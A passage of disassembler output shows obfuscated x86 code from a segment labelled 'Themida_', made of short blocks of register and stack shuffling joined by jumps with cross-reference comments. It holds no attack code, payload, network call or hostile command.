		push	ecx
		sub	esp, 4
		jmp	loc_5A54D4
; ---------------------------------------------------------------------------


loc_59A555:				; CODE XREF: Themida_:005A907Bj
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59A567:				; CODE XREF: Themida_:005A15A7j
		sub	edx, ebp
		pop	ebp
		and	edx, 37F24FE4h
		shr	edx, 2
		xor	edx, 0AC1779F2h
		sub	edi, edx
		pop	edx
		jmp	loc_5AD578
; ---------------------------------------------------------------------------


loc_59A581:				; CODE XREF: Themida_:0059DA0Dj
					; Themida_:005A7E18j
		push	ebx
		jmp	loc_5A00FF
; ---------------------------------------------------------------------------


loc_59A587:				; CODE XREF: Themida_:005AC34Fj
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 258515DCh
		sub	edx, 715554CEh
		sub	eax, 39394CD4h
		jmp	loc_5A2FA2
; ---------------------------------------------------------------------------


loc_59A5AC:				; CODE XREF: Themida_:005AB88Bj
		pop	eax
		jmp	loc_5A080A
; ---------------------------------------------------------------------------


loc_59A5B2:				; CODE XREF: Themida_:005A64BBj
					; Themida_:005AC59Cj
		mov	al, dh
		pop	edx
		sub	ch, al
		mov	ax, [esp]
		add	esp, 2
		jmp	loc_5A77C3
; ---------------------------------------------------------------------------


loc_59A5C3:				; CODE XREF: Themida_:005A1785j
		add	edi, edx
		add	edi, 6E765D0Fh
		push	esi
		jmp	loc_59F3B5
; ---------------------------------------------------------------------------


loc_59A5D1:				; CODE XREF: Themida_:005A8E1Aj
		push	cx
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 23h
		push	ebx
		mov	bh, 4Dh
		mov	cl, 0A3h
		jmp	loc_59CC34
; ---------------------------------------------------------------------------


loc_59A5E8:				; CODE XREF: Themida_:005AB480j
		jmp	loc_5ADB7E
; ---------------------------------------------------------------------------


loc_59A5ED:				; CODE XREF: Themida_:0059ACE2j
		neg	ebx
		dec	ebx
		inc	ebx
		add	ebx, 21224779h
		xor	ebx, 0D5C40E7Dh
		jmp	loc_59C07B
; ---------------------------------------------------------------------------


loc_59A602:				; CODE XREF: Themida_:005A7B20j
		sub	esp, 4
		jmp	loc_5ACBD5
; ---------------------------------------------------------------------------


loc_59A60A:				; CODE XREF: Themida_:005A0EB3j
		pop	ebx
		push	edx
		mov	edx, 28A320BBh
		and	edx, 7067141Ah
		push	esi
		mov	esi, 63846C2Fh
		sub	edx, esi
		pop	esi
		jmp	loc_5A9B44
; ---------------------------------------------------------------------------


loc_59A625:				; CODE XREF: Themida_:005993A7j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A6623
; ---------------------------------------------------------------------------


loc_59A633:				; CODE XREF: Themida_:00599028j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	eax
		mov	eax, 7D785340h
		shl	eax, 5
		push	edx
		mov	edx, 50F59804h
		sub	eax, 1C0F4906h
		jmp	loc_5A3857
; ---------------------------------------------------------------------------


loc_59A65B:				; CODE XREF: Themida_:0059997Dj
					; Themida_:005A328Fj
		mov	edi, 1D68780Fh
		push	esi
		mov	esi, 32744725h
		jmp	loc_5A6120
; ---------------------------------------------------------------------------


loc_59A66B:				; CODE XREF: Themida_:005AD097j
		xor	ecx, 2DE2309Bh
		push	edi
		mov	edi, 792EA419h
		jmp	loc_5A6B85
; ---------------------------------------------------------------------------


loc_59A67C:				; CODE XREF: Themida_:005AF2B3j
		sub	ebx, edx
		sub	ebx, 7A60009Eh
		jmp	loc_598E85
; ---------------------------------------------------------------------------


loc_59A689:				; CODE XREF: Themida_:00598F19j
					; Themida_:0059D75Ej
		mov	ebp, 464D2FCBh
		jmp	loc_5A915E
; ---------------------------------------------------------------------------


loc_59A693:				; CODE XREF: Themida_:005A98FBj
		add	esp, 4
		add	ecx, 4
		add	ecx, 2
		jmp	loc_5AB0D6
; ---------------------------------------------------------------------------


loc_59A6A7:				; CODE XREF: Themida_:005A94D5j
		sub	ebx, 0FFFFFFFFh
		and	ebx, 78003E9h
		push	esi
		jmp	loc_59B252
; ---------------------------------------------------------------------------


loc_59A6B6:				; CODE XREF: Themida_:005A0EBEj
		add	edx, 749C4715h
		jl	loc_5ADA51
		jmp	loc_5A462F
; ---------------------------------------------------------------------------


loc_59A6C7:				; CODE XREF: Themida_:005A5631j
		and	eax, 0A63480Dh
		jnp	loc_5ABEFF
		shr	eax, 7
		jmp	loc_59CAD1
; ---------------------------------------------------------------------------
		mov	bl, al


loc_59A6DC:				; CODE XREF: Themida_:005AF38Dj
		push	edx
		mov	edx, 14115E05h
		inc	edx
		jp	loc_5A01C2
		jmp	loc_59BAD7
; ---------------------------------------------------------------------------
		jmp	loc_5A7672
; ---------------------------------------------------------------------------
		pop	ebp
		add	ebx, ebp
		sub	al, 0F0h


loc_59A6F8:				; CODE XREF: Themida_:005A0DA7j
		xor	ebp, 226E73DCh
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_59A921
; ---------------------------------------------------------------------------


loc_59A709:				; CODE XREF: Themida_:005ABA5Dj
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_5A267A
; ---------------------------------------------------------------------------


loc_59A712:				; CODE XREF: Themida_:005AD172j
		mov	[esp], ebx
		pop	ecx
		pop	ebx
		add	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	475Eh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_5A8273
; ---------------------------------------------------------------------------


loc_59A73E:				; CODE XREF: Themida_:005A9C74j
		pop	edx
		jmp	loc_5A126E
; ---------------------------------------------------------------------------


loc_59A744:				; CODE XREF: Themida_:005A94A9j
		sub	esp, 4
		jmp	loc_59B3CF
; ---------------------------------------------------------------------------


loc_59A74F:				; CODE XREF: Themida_:005A3C14j
		pop	ebp
		jmp	loc_5A10BB
; ---------------------------------------------------------------------------


loc_59A755:				; CODE XREF: Themida_:005A0251j
		pop	ebx
		shl	eax, 2
		jmp	loc_5A2129
; ---------------------------------------------------------------------------


loc_59A75E:				; CODE XREF: Themida_:005A2025j
		push	edi
		mov	edi, 11FB00CFh
		add	ebp, 31772A97h
		add	ebp, edi
		sub	ebp, 31772A97h
		jmp	loc_5A2B9A
; ---------------------------------------------------------------------------


loc_59A777:				; CODE XREF: Themida_:005985B5j
		xchg	esi, [esp]
		mov	esp, [esp]
		add	ecx, edi
		push	5B4Ah
		mov	[esp], edi
		mov	edi, 7FFB0609h
		add	ecx, edi
		pop	edi
		jmp	loc_5A13BF
; ---------------------------------------------------------------------------


loc_59A794:				; CODE XREF: Themida_:005AD002j
		pop	edx
		jmp	loc_5A184E
; ---------------------------------------------------------------------------


loc_59A79A:				; CODE XREF: Themida_:005A1DFCj
		mov	ecx, 96B4B3D3h
		add	ecx, 6AE479F1h
		push	edx
		jmp	loc_5ACCF0
; ---------------------------------------------------------------------------


loc_59A7AB:				; CODE XREF: Themida_:00598B61j
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 3A4F1A7Dh
		jmp	loc_5ADBDD
; ---------------------------------------------------------------------------


loc_59A7BF:				; CODE XREF: Themida_:005A2823j
		add	edx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_5A6137
; ---------------------------------------------------------------------------


loc_59A7D5:				; CODE XREF: Themida_:0059DEE4j
		pop	ebx
		jmp	loc_59BA50
; ---------------------------------------------------------------------------


loc_59A7DB:				; CODE XREF: Themida_:0059C19Bj
		not	ecx
		push	ebx
		mov	ebx, 55466679h
		sub	ecx, ebx
		pop	ebx
		add	ecx, 0B1D8A043h
		push	ecx
		mov	ecx, 5D742E6Fh
		sub	ebx, ecx
		pop	ecx
		add	ebx, ecx
		add	ebx, 5D742E6Fh
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	eax
		mov	eax, 7A9E201Fh
		inc	eax
		xor	eax, 599B51BEh
		or	eax, 658B2A12h
		push	ecx
		mov	ecx, 40C46F78h
		xor	eax, ecx
		jmp	loc_5AB152
; ---------------------------------------------------------------------------


loc_59A822:				; CODE XREF: Themida_:005A503Cj
		pop	edx
		push	1414h
		mov	[esp], edi
		mov	edi, 0BD965AEh
		add	eax, edi
		jmp	loc_5A5839
; ---------------------------------------------------------------------------


loc_59A837:				; CODE XREF: Themida_:005ACB7Fj
		mov	edx, 2
		mov	ebp, edx
		jmp	loc_5A25D5
; ---------------------------------------------------------------------------


loc_59A843:				; CODE XREF: Themida_:005A6042j
		xor	dh, 40h
		push	eax
		mov	al, dh
		mov	bh, al
		jmp	loc_59D4FE
; ---------------------------------------------------------------------------


loc_59A850:				; CODE XREF: Themida_:005A3329j
					; Themida_:005AA140j
		sub	esi, 7E6D1C11h
		pop	ebp
		pop	ecx
		sub	eax, esi
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5A6A3E
; ---------------------------------------------------------------------------


loc_59A872:				; CODE XREF: Themida_:005AB57Aj
		xor	ecx, 59921C6Ch
		sub	ecx, 707F2655h
		neg	ecx
		add	ecx, 0C11DE51Bh
		add	ebp, ecx
		jmp	loc_5AC2AF
; ---------------------------------------------------------------------------


loc_59A88D:				; CODE XREF: Themida_:005AC456j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59A892:				; CODE XREF: Themida_:0059F042j
		not	edi
		jmp	loc_59E4E5
; ---------------------------------------------------------------------------


loc_59A899:				; CODE XREF: Themida_:005A47C5j
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_59BC2A
; ---------------------------------------------------------------------------


loc_59A8AC:				; CODE XREF: Themida_:0059F46Aj
		push	esi
		mov	esi, 3A4C100Bh
		add	[esp+4], esi
		pop	esi
		pop	ebx
		sub	ebx, 3A4C100Bh
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A334A
; ---------------------------------------------------------------------------


loc_59A8D8:				; CODE XREF: Themida_:005A7647j
		xor	ecx, 45A2DEE4h
		mov	esi, ecx
		pop	ecx
		sub	ecx, esi
		pop	esi
		xor	ecx, [esp]
		jmp	loc_59E66A
; ---------------------------------------------------------------------------


loc_59A8EC:				; CODE XREF: Themida_:005A408Dj
		push	ebx
		mov	ebx, ebp
		mov	esi, ebx
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_59C11E
; ---------------------------------------------------------------------------


loc_59A902:				; CODE XREF: Themida_:00598841j
					; Themida_:005AB726j
		add	ch, dh
		jmp	loc_5AEA6B
; ---------------------------------------------------------------------------


loc_59A909:				; CODE XREF: Themida_:005ACD73j
		mov	edx, [esp]
		push	340Dh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A76CD
; ---------------------------------------------------------------------------


loc_59A921:				; CODE XREF: Themida_:0059A704j
		add	esp, 4
		add	esp, 4
		and	ecx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	0BF6h
		mov	[esp], esi
		mov	esi, esp
		push	ebx
		mov	ebx, 30DC465Dh
		shr	ebx, 3
		add	ebx, 62D828B7h
		inc	ebx
		xor	ebx, 68F3B187h
		sub	esi, 6194B4Bh
		add	esi, ebx
		jmp	loc_59E2B5
; ---------------------------------------------------------------------------


loc_59A965:				; CODE XREF: Themida_:0059F367j
					; Themida_:005ADEF7j
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 0B59856C5h
		jmp	loc_5A6CC6
; ---------------------------------------------------------------------------


loc_59A979:				; CODE XREF: Themida_:005AF4C4j
		jmp	loc_5A6C56
; ---------------------------------------------------------------------------


loc_59A97E:				; CODE XREF: Themida_:005AED41j
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	3A08h
		mov	[esp], ecx
		mov	ecx, 540E7BBFh
		add	ecx, 0ABF18445h
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 50E676B9h
		add	ecx, ebp
		sub	ecx, 50E676B9h
		pop	ebp
		push	edi
		mov	edi, 2
		add	ecx, edi
		pop	edi
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		or	[esp], al
		pushf
		jmp	loc_599D43
; ---------------------------------------------------------------------------


loc_59A9D0:				; CODE XREF: Themida_:005A1D24j
					; Themida_:loc_5A9D85j
		add	eax, 0B90A6871h
		mov	ebp, eax
		jmp	loc_59F065
; ---------------------------------------------------------------------------


loc_59A9DC:				; CODE XREF: Themida_:005A64B2j
		shr	eax, 4
		jp	loc_59F065
		shr	eax, 3
		jnz	loc_5A0B2B
		jmp	loc_5A029A
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		xor	al, 64h
		pop	esp


loc_59A9FA:				; CODE XREF: Themida_:loc_5A7137j
		shr	eax, 4
		add	eax, 5BF11713h
		mov	ebp, eax
		jmp	loc_5A831E
; ---------------------------------------------------------------------------


loc_59AA09:				; CODE XREF: Themida_:005A91A2j
		mov	edi, 28F01C88h
		or	edx, edi
		pop	edi
		shr	edx, 3
		sub	edx, 189BF8AAh
		jmp	loc_5AE77A
; ---------------------------------------------------------------------------


loc_59AA1F:				; CODE XREF: Themida_:005A27D0j
		pop	edx
		pop	esi
		add	edx, 7223220Dh
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ax
		jmp	loc_59C34C
; ---------------------------------------------------------------------------


loc_59AA38:				; CODE XREF: Themida_:005A0148j
		sub	bl, al
		add	bl, 0E1h
		push	71C5h
		mov	[esp], eax
		push	ecx
		push	eax
		mov	ah, 43h
		xor	ah, 0C0h
		shl	ah, 4
		sub	ah, 0E3h
		mov	cl, ah
		jmp	loc_5A337B
; ---------------------------------------------------------------------------


loc_59AA59:				; CODE XREF: Themida_:005AA9E0j
					; Themida_:loc_5AE128j
		push	4981h
		jmp	loc_5A3A39
; ---------------------------------------------------------------------------


loc_59AA63:				; CODE XREF: Themida_:005993ADj
					; Themida_:005A48A9j
		xor	ecx, 4B7F7C49h
		jo	loc_5A7D56
		push	ebp
		mov	ebp, 7E7E44F4h
		jmp	loc_59CE1A
; ---------------------------------------------------------------------------


loc_59AA7A:				; CODE XREF: Themida_:005AA469j
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	ecx, [esp]
		push	6219h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_599472
; ---------------------------------------------------------------------------


loc_59AAA4:				; CODE XREF: Themida_:005AF2C9j
		add	edi, 0C1D3BD9h
		sub	edi, eax
		sub	edi, 0C1D3BD9h
		jmp	loc_5A3C06
; ---------------------------------------------------------------------------


loc_59AAB7:				; CODE XREF: Themida_:0059C2A8j
					; Themida_:005A81C9j
		xor	eax, ebx
		pop	ebx
		add	ebx, eax
		pop	eax
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_5A4CC4
; ---------------------------------------------------------------------------


loc_59AAE2:				; CODE XREF: Themida_:00598CBFj
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	edx
		push	627Ch
		mov	[esp], ecx
		jmp	loc_5AAE3E
; ---------------------------------------------------------------------------


loc_59AAFA:				; CODE XREF: Themida_:005A6B70j
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_59E2CC
; ---------------------------------------------------------------------------


loc_59AB0D:				; CODE XREF: Themida_:005A21ABj
					; Themida_:005AA830j
		sub	ebx, 0F102C02Bh
		mov	esi, ebx
		pop	ebx
		jmp	loc_5AC195
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 5B0C6DEBh
		push	edx
		mov	edx, 688D1340h
		sub	eax, edx
		pop	edx
		push	edx
		jmp	loc_5A8A7C
; ---------------------------------------------------------------------------


loc_59AB30:				; CODE XREF: Themida_:005AB755j
		shr	bh, 4
		xor	bh, 9Ah
		jnz	loc_59B7C3
		add	bh, 0D6h
		jmp	loc_59A459
; ---------------------------------------------------------------------------
		xor	ebx, eax
		push	edx


loc_59AB47:				; CODE XREF: Themida_:0059DE79j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5ADCA4
; ---------------------------------------------------------------------------


loc_59AB50:				; CODE XREF: Themida_:005AD68Dj
		mov	dl, 33h
		sub	al, dl
		pop	dx
		mov	dx, [esp]
		jmp	loc_5A9290
; ---------------------------------------------------------------------------


loc_59AB5F:				; CODE XREF: Themida_:005A92BBj
		and	edx, 7AC63428h
		sub	edx, 0DEB50253h
		jmp	loc_599ECE
; ---------------------------------------------------------------------------


loc_59AB70:				; CODE XREF: Themida_:0059C142j
		sub	ebp, 57B96C82h
		jmp	loc_5A0E54
; ---------------------------------------------------------------------------


loc_59AB7B:				; CODE XREF: Themida_:005ACC6Aj
		sub	al, 50h
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	cl, 0E6h
		jmp	loc_5A0BE0
; ---------------------------------------------------------------------------


loc_59AB8C:				; CODE XREF: Themida_:loc_5AE837j
		xor	ah, 6Eh
		jmp	loc_5A3A05
; ---------------------------------------------------------------------------


loc_59AB94:				; CODE XREF: Themida_:005A2CFEj
		push	271B68ACh
		pop	ecx
		jmp	loc_5A4FD9
; ---------------------------------------------------------------------------


loc_59AB9F:				; CODE XREF: Themida_:loc_599083j
					; Themida_:005AB8BFj
		pop	ecx
		push	ebx
		mov	ebx, 123A01D8h
		push	ecx
		mov	ecx, 13DA2448h
		and	ebx, ecx
		pop	ecx
		and	ebx, 7E816B71h
		xor	ebx, 4F21496Ch
		sub	ebx, 0FFFFFFFFh
		push	ecx
		jmp	loc_59D2EA
; ---------------------------------------------------------------------------


loc_59ABC4:				; CODE XREF: Themida_:loc_59B5DDj
		xor	edx, 64A41935h
		add	edx, 29DB4273h
		jmp	loc_5A9D97
; ---------------------------------------------------------------------------


loc_59ABD5:				; CODE XREF: Themida_:005A7827j
		push	ecx
		mov	ch, 62h
		jmp	loc_5A12F3
; ---------------------------------------------------------------------------


loc_59ABDD:				; CODE XREF: Themida_:005A3D2Cj
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_59B877
; ---------------------------------------------------------------------------


loc_59ABEA:				; CODE XREF: Themida_:00598701j
		add	eax, 8DCF6922h
		push	eax
		add	dword ptr [esp], 72946AA7h
		pop	ebp
		sub	ebp, 72946AA7h
		pop	eax
		push	545Dh
		jmp	loc_5AD039
; ---------------------------------------------------------------------------


loc_59AC09:				; CODE XREF: Themida_:005A7D51j
		mov	[esp], eax
		push	715702B5h
		jmp	loc_5A291C
; ---------------------------------------------------------------------------


loc_59AC16:				; CODE XREF: Themida_:0059967Bj
		mov	al, 4Bh
		add	dl, al
		pop	ax
		push	eax
		mov	ah, 0D9h
		jmp	loc_5A8D38
; ---------------------------------------------------------------------------


loc_59AC24:				; CODE XREF: Themida_:005AEAE4j
		and	edx, 4D2E72A6h
		jp	loc_5A3FF4
		neg	edx
		jns	loc_5A869A
		mov	ah, 0B0h
		pop	eax


loc_59AC3B:				; CODE XREF: Themida_:005A4CBFj
		push	ebx
		push	64116AECh
		jmp	loc_5A9805
; ---------------------------------------------------------------------------


loc_59AC46:				; CODE XREF: Themida_:005A2812j
					; Themida_:005ABDF4j
		mov	esi, 6F2D6B88h
		jmp	loc_5A4C68
; ---------------------------------------------------------------------------


loc_59AC50:				; CODE XREF: Themida_:005AA178j
		mov	[esp], eax
		sub	dword ptr [esp], 27D57DD8h
		pop	esi
		add	esi, 27D57DD8h
		pop	eax
		add	edx, esi
		jmp	loc_59FC68
; ---------------------------------------------------------------------------


loc_59AC69:				; CODE XREF: Themida_:005AB414j
		dec	dword ptr [esp]
		jmp	loc_5A738D
; ---------------------------------------------------------------------------


loc_59AC71:				; CODE XREF: Themida_:005A2124j
		pop	edi
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	eax
		sub	esp, 4
		jmp	loc_5A9178
; ---------------------------------------------------------------------------


loc_59AC85:				; CODE XREF: Themida_:0059D28Ej
		add	ecx, ebp
		pop	ebp
		jmp	loc_5A2AD8
; ---------------------------------------------------------------------------


loc_59AC8D:				; CODE XREF: Themida_:005A339Fj
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A188F
; ---------------------------------------------------------------------------


loc_59AC9C:				; CODE XREF: Themida_:0059DCB5j
					; Themida_:005AE9B7j
		xor	dword ptr [esp], 6111614Ah
		jmp	loc_5A0CAD
; ---------------------------------------------------------------------------


loc_59ACA8:				; CODE XREF: Themida_:005AB2FFj
		and	esi, ebx
		pop	ebx
		sub	esi, 1580420Ch
		sub	ebp, 43E325EEh
		add	ebp, esi
		add	ebp, 43E325EEh
		pop	esi
		push	esi
		mov	esi, 4
		sub	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 4
		push	ebx
		mov	ebx, 269942F3h
		jmp	loc_59A5ED
; ---------------------------------------------------------------------------


loc_59ACE7:				; CODE XREF: Themida_:0059D387j
		or	ebx, 3FAA7AF0h
		sub	ebx, 7FFB7FF2h
		jmp	loc_5A066C
; ---------------------------------------------------------------------------


loc_59ACF8:				; CODE XREF: Themida_:0059D735j
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		push	eax
		mov	eax, 4E49463Eh
		mov	ebp, 511351FEh
		sub	ebp, eax
		pop	eax
		neg	ebp
		jnp	loc_5A7416
		shr	ebp, 7
		dec	ebp
		xor	ebp, 0A6627A9h


loc_59AD22:				; CODE XREF: Themida_:00598F7Aj
		mov	ebp, 39CA46F9h
		jmp	loc_59A07E
; ---------------------------------------------------------------------------


loc_59AD2C:				; CODE XREF: Themida_:00599180j
		add	[esp+4], edx
		jmp	loc_59D2A3
; ---------------------------------------------------------------------------


loc_59AD35:				; CODE XREF: Themida_:0059B0CAj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 41EF623Dh
		jmp	loc_59CED9
; ---------------------------------------------------------------------------


loc_59AD58:				; CODE XREF: Themida_:00598DF4j
		add	cl, 0E9h
		shl	cl, 6
		jmp	loc_5A1180
; ---------------------------------------------------------------------------


loc_59AD63:				; CODE XREF: Themida_:005AF3F4j
		xchg	ecx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	549Dh
		mov	[esp], eax
		mov	eax, 24h
		add	eax, edi
		push	ebx
		jmp	loc_598EC2
; ---------------------------------------------------------------------------


loc_59AD80:				; CODE XREF: Themida_:00598D66j
		sub	edi, 2BA11727h
		jmp	loc_59E41D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_59F62D
; ---------------------------------------------------------------------------


loc_59AD94:				; CODE XREF: Themida_:0059F71Bj
		push	edi
		push	2BBF1C29h
		pop	edi
		jmp	loc_5A3ED3
; ---------------------------------------------------------------------------


loc_59ADA0:				; CODE XREF: Themida_:0059C3BEj
		pop	edx
		pop	ecx
		jmp	loc_5A9276
; ---------------------------------------------------------------------------


loc_59ADA7:				; CODE XREF: Themida_:005A41AEj
					; Themida_:005A9EBDj
		neg	ecx
		xor	ecx, 4AC4F544h
		jmp	loc_5A3EDE
; ---------------------------------------------------------------------------


loc_59ADB4:				; CODE XREF: Themida_:005A2D4Ej
					; Themida_:005AED58j
		push	5AA2h
		mov	[esp], edi
		jmp	loc_599A30
; ---------------------------------------------------------------------------


loc_59ADC1:				; CODE XREF: Themida_:005A5897j
		add	edi, ebx
		jmp	loc_59AF49
; ---------------------------------------------------------------------------


loc_59ADC8:				; CODE XREF: Themida_:005AA1D6j
		add	ch, 77h
		not	ch
		jmp	loc_5A01C7
; ---------------------------------------------------------------------------


loc_59ADD2:				; CODE XREF: Themida_:0059E4E0j
		sub	eax, 1A783978h
		sub	eax, ebx
		jmp	loc_5AAAA7
; ---------------------------------------------------------------------------


loc_59ADDE:				; CODE XREF: Themida_:005A44EDj
		xor	eax, edi
		pop	edi
		pop	esi
		add	ebx, eax
		mov	eax, [esp]
		jmp	loc_59F36C
; ---------------------------------------------------------------------------


loc_59ADEC:				; CODE XREF: Themida_:005A3AE9j
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A24DD
; ---------------------------------------------------------------------------


loc_59ADFE:				; CODE XREF: Themida_:0059ED6Cj
		mov	dh, ch
		mov	al, dh
		pop	edx
		pop	ecx
		add	bl, 0CFh
		add	bl, al
		sub	bl, 0CFh
		pop	ax
		push	small 4A37h
		mov	[esp], cx
		push	ebx
		jmp	loc_5A93DB
; ---------------------------------------------------------------------------


loc_59AE1C:				; CODE XREF: Themida_:005A496Dj
					; Themida_:005AAC43j
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59AE26:				; CODE XREF: Themida_:005A2FE1j
		mov	[esp], ebx
		push	ecx
		jmp	loc_5AA352
; ---------------------------------------------------------------------------


loc_59AE2F:				; CODE XREF: Themida_:0059FD0Dj
		pop	ebp
		add	ebx, 4
		jmp	loc_5A85CC
; ---------------------------------------------------------------------------


loc_59AE38:				; CODE XREF: Themida_:loc_5AEBE1j
		add	ebx, 0B577ED41h
		jmp	loc_5A48DD
; ---------------------------------------------------------------------------


loc_59AE43:				; CODE XREF: Themida_:005A810Aj
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		xor	eax, [esp]
		jmp	loc_5A60A6
; ---------------------------------------------------------------------------


loc_59AE5A:				; CODE XREF: Themida_:005A81BBj
		push	edx
		push	edi
		mov	edi, 19DF30BCh
		dec	edi
		jmp	loc_59C9A2
; ---------------------------------------------------------------------------


loc_59AE67:				; CODE XREF: Themida_:0059E4B1j
		mov	[esp], edi
		push	692Ah
		jmp	loc_5A4763
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_599A22
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	24EDh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		push	15B0h
		mov	[esp], edi
		push	edx
		push	esi
		jmp	loc_5A913A
; ---------------------------------------------------------------------------


loc_59AEAE:				; CODE XREF: Themida_:005A26F2j
		mov	[esp], ebp
		mov	ebp, 731926F3h
		jmp	loc_59B3B9
; ---------------------------------------------------------------------------


loc_59AEBB:				; CODE XREF: Themida_:005A69BBj
		inc	eax
		inc	eax
		jmp	loc_5A3768
; ---------------------------------------------------------------------------


loc_59AEC2:				; CODE XREF: Themida_:005AC82Fj
		pop	esp
		push	ebp
		mov	ebp, 4BF41DFDh
		jmp	loc_5A57D9
; ---------------------------------------------------------------------------


loc_59AECE:				; CODE XREF: Themida_:loc_5A8122j
		add	ebx, 1FC09A3h
		jnz	loc_5AED36
		shl	ebx, 5
		jmp	loc_5A55F0
; ---------------------------------------------------------------------------
		xor	[esp], ebx
		mov	ah, 0BEh
		mov	esi, ebp


loc_59AEE9:				; CODE XREF: Themida_:0059F726j
		mov	edi, ebx
		mov	esi, edi
		pop	edi
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_59BDFF
; ---------------------------------------------------------------------------


loc_59AEFF:				; CODE XREF: Themida_:005A563Aj
		push	ax
		push	ebx
		mov	bh, 29h
		add	bh, 0D6h
		mov	ah, bh
		pop	ebx
		add	dl, ah
		pop	ax
		add	dl, 0A7h
		add	al, 0C0h
		add	al, dl
		sub	al, 0C0h
		pop	edx
		add	al, 0EAh
		sub	al, 0A1h
		add	al, bl
		jmp	loc_5A3785
; ---------------------------------------------------------------------------


loc_59AF23:				; CODE XREF: Themida_:005A0034j
		add	ah, 4Bh
		sub	ah, 21h
		mov	cl, ah
		jmp	loc_5A2030
; ---------------------------------------------------------------------------


loc_59AF30:				; CODE XREF: Themida_:005A04A4j
		push	eax
		mov	eax, 7C826AE1h
		not	eax
		and	eax, 4F344DB5h
		xor	eax, 3340510h
		add	ecx, eax
		jmp	loc_5A02A3
; ---------------------------------------------------------------------------


loc_59AF49:				; CODE XREF: Themida_:0059ADC3j
		sub	edi, 71BE5A5Eh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A5692
; ---------------------------------------------------------------------------


loc_59AF5D:				; CODE XREF: Themida_:005AE592j
		push	eax
		jmp	loc_59F97F
; ---------------------------------------------------------------------------


loc_59AF63:				; CODE XREF: Themida_:005AB108j
		push	ecx
		push	esi
		jmp	loc_5A1CF4
; ---------------------------------------------------------------------------


loc_59AF6A:				; CODE XREF: Themida_:005AC2E6j
		push	54D2h
		mov	[esp], ecx
		mov	ecx, 49777D6Ah
		dec	ecx
		sub	ecx, 0FFFFFFFFh
		not	ecx
		or	ecx, 43104662h
		shl	ecx, 2
		sub	ecx, 0A29C9E73h
		add	eax, ecx
